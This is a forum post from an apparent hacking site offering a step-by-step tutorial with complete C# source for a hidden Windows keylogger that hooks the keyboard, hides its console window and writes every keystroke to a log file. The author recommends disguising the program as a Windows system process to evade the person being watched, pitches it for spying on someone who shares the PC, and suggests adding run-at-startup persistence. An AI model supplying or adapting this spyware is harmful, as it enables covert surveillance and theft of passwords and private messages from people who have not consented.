http://WWW.NIMBUZZ-MAST3R.TK/
I HOPE U ENJOY HERE djsaim@NC & L0ufer@n.c HERE SmileSmile
http://WWW.NIMBUZZ-MAST3R.TK/
I HOPE U ENJOY HERE djsaim@NC & L0ufer@n.c HERE SmileSmile
http://WWW.NIMBUZZ-MAST3R.TK/
Would you like to react to this message? Create an account in a few clicks or log in to continue.


Welcome to our forum.Thanks For visiting us
 
HomeFLAGSGallerySearchLatest imagesRegisterLog in
Search
 
 

Display results as :
 
Rechercher Advanced Search
Top posters
Admin
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
r99
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
CODER~BOY
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
saim
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
badshah
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
S$m
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
l0ufer
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
EXPIR3
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
romi
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
narnia_kalayi@n.c
How to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_lcapHow to Create a Simple, Hidden Console Keylogger in C# Sharp Voting_barHow to Create a Simple, Hidden Console Keylogger in C# Sharp Vote_rcap 
Latest topics
» online server bots
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri May 22, 2015 6:01 am by huss4in.

» Android Stylish Bombus
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeWed Feb 25, 2015 8:56 am by ru6el

» VPS HOSTING FREE TRIALS SITES BY DJSAIM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Dec 05, 2014 10:15 am by saim

» djsaim ID CHECKER CODED BY MASTER,M!ND@NIMBUZZ.COM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Nov 21, 2014 2:03 pm by Admin

»  NEW WEB BOT 2014
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeThu Nov 20, 2014 10:18 am by al3krb

» FACEBOOK HACK
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Nov 14, 2014 4:04 pm by inot11

» all bombus by rubel@n.c
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeSat Nov 08, 2014 8:24 pm by ru6el

» nimbuzz-MAST3R FULL SPEED CRACKER BY DJSAIM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeThu Nov 06, 2014 1:12 pm by Admin

» Badbuzz Ninja Id Maker Version 1.2.0.1
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 24, 2014 12:26 pm by saim

» hrtreaded Mode | Linear Mode badbuzz ninja id maker ver 2 [multi captcha] By Peyman69.tricks
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 24, 2014 12:11 pm by saim

» Threaded Mode | Linear Mode badbuzz Ninja Id Maker Ver 3.0.0 [multi captcha]
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 24, 2014 12:05 pm by saim

» smart security v.2 by djsaim
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 24, 2014 11:05 am by saim

» BLACKBUZZ NIKE MAKER BY DJSAIM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 24, 2014 10:35 am by saim

» BLACKBUZZ ADDLIST HANGER BY DJSAIM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeMon Oct 20, 2014 9:23 pm by Admin

» New1-Team Pv Bot v1 + Source C#
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeSat Oct 18, 2014 9:45 pm by Admin

» BLACKBUZZ PVT BOT V2 BY DJSAIM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeSat Oct 18, 2014 9:40 pm by Admin

» super nike maker by djsaim
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 17, 2014 9:40 pm by Admin

» blaCKBUZZ NIKE MAKER BY DJSAIM@NIMBUZZ.COM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Oct 17, 2014 9:13 pm by Admin

» BAN REMOVER AND MEM LISTER BY DJSAIM
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeThu Oct 16, 2014 8:06 pm by Admin

» SERVER S2A SENDER BYU DJSAIM@NC
How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeThu Oct 16, 2014 1:46 pm by Admin

Top posting users this week
No user
user counter

Keywords
2013 2015 pass google duchecker Source facebook 2014 hack checker

 

 How to Create a Simple, Hidden Console Keylogger in C# Sharp

Go down 
AuthorMessage
CODER~BOY
—(••÷[ נυηισя мσ∂εяαтσя ]÷••—
—(••÷[ נυηισя мσ∂εяαтσя ]÷••—
CODER~BOY


Posts : 110
Points : 4277
expir3@nc : 13
Join date : 2014-01-24

How to Create a Simple, Hidden Console Keylogger in C# Sharp Empty
PostSubject: How to Create a Simple, Hidden Console Keylogger in C# Sharp   How to Create a Simple, Hidden Console Keylogger in C# Sharp Icon_minitimeFri Feb 28, 2014 3:23 pm

Today I will show you how to create  a simple keylogger in Visual C# Sharp, which will start up hidden from view, and record anything the user types on the keybord, then save it into a text file. Great if you share a PC and want to track what someone else is writing.

You Will Need


  • Visual C# 2010 Express



Step 1 Create the Project

This is semi-important, usually you don't put much thought behind this, but I recommend naming this project something like "Windows Local host Process" or whatever, so that IF the user you are tracking suddenly decides to look up windows processes, your app will not be so easy to distinguish from something Windows would already have running in the background.

Why? Well, renaming the .exe file is not enough, the name you give your project will appear in the task manager, so assuming you are not a very technical user, if you see a process called ''cmd.exe | ConsoleApplication5" then alarm bells should not be ringing. However, if you see "sysWin86 |Windows Local Host Process" you won't know right away that it is not a legitimate process.

So create a Console Application project, name it appropriately and in the "Using" clause, include the following, if it's not already there:

using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

Step 2 Declaration Clause and Referencing

Just below "Class YourProject {", add the following:

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

In the "Main" function ("public static Main") add:

        var handle = GetConsoleWindow();

        // Hide
        ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);

Finally, go into Project >> Add References.

In the .NET tab, choose System.Windows.Forms and add it to your project.

Step 3 Functions for Key Capturing

Below the Main clause, add these functions:

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

Step 4 DLL Imports

After adding the key capture functions, add these:

//These Dll's will handle the hooks. Yaaar mateys!

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

// The two dll imports below will handle the window hiding.

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

Step 5 Compile and Try it Out!

This is the fun step. Once you have added all the code, just run the compiler and try out the .exe!  

As the window is hidden, but still records every keystroke, you will now log all the keystrokes ever pressed on that PC.

Further Improvements


  • Log file management could be improved by inserting line breaks at certain intervals. Something I did not bother with for this particular exercise.

  • It is possible to create a global mouse hook which will tell you what applications your mouse interacted with, where the cursor was and so forth. Google is your friend on this one.

  • Run @ Startup script.



"Sauce"-Code



Front page image by Robbert van der Steeg 







       CODER~BOY HERE lol!  lol!  lol!  lol!  lol!  lol! 
Back to top Go down
 
How to Create a Simple, Hidden Console Keylogger in C# Sharp
Back to top 
Page 1 of 1
 Similar topics
-
» Best PV Bot – Create Pv Bot Create s2a Server
» Android Keylogger - Best Keylogger App for Android Phone
» Badbuzz Xml Console
» Max keylogger
» group chat flooder v 2.0 coded by hidden-coder@n.c

Permissions in this forum:You cannot reply to topics in this forum
http://WWW.NIMBUZZ-MAST3R.TK/ :: NIMBUZZ TOOLZ :: HACKING ZONE-
Jump to: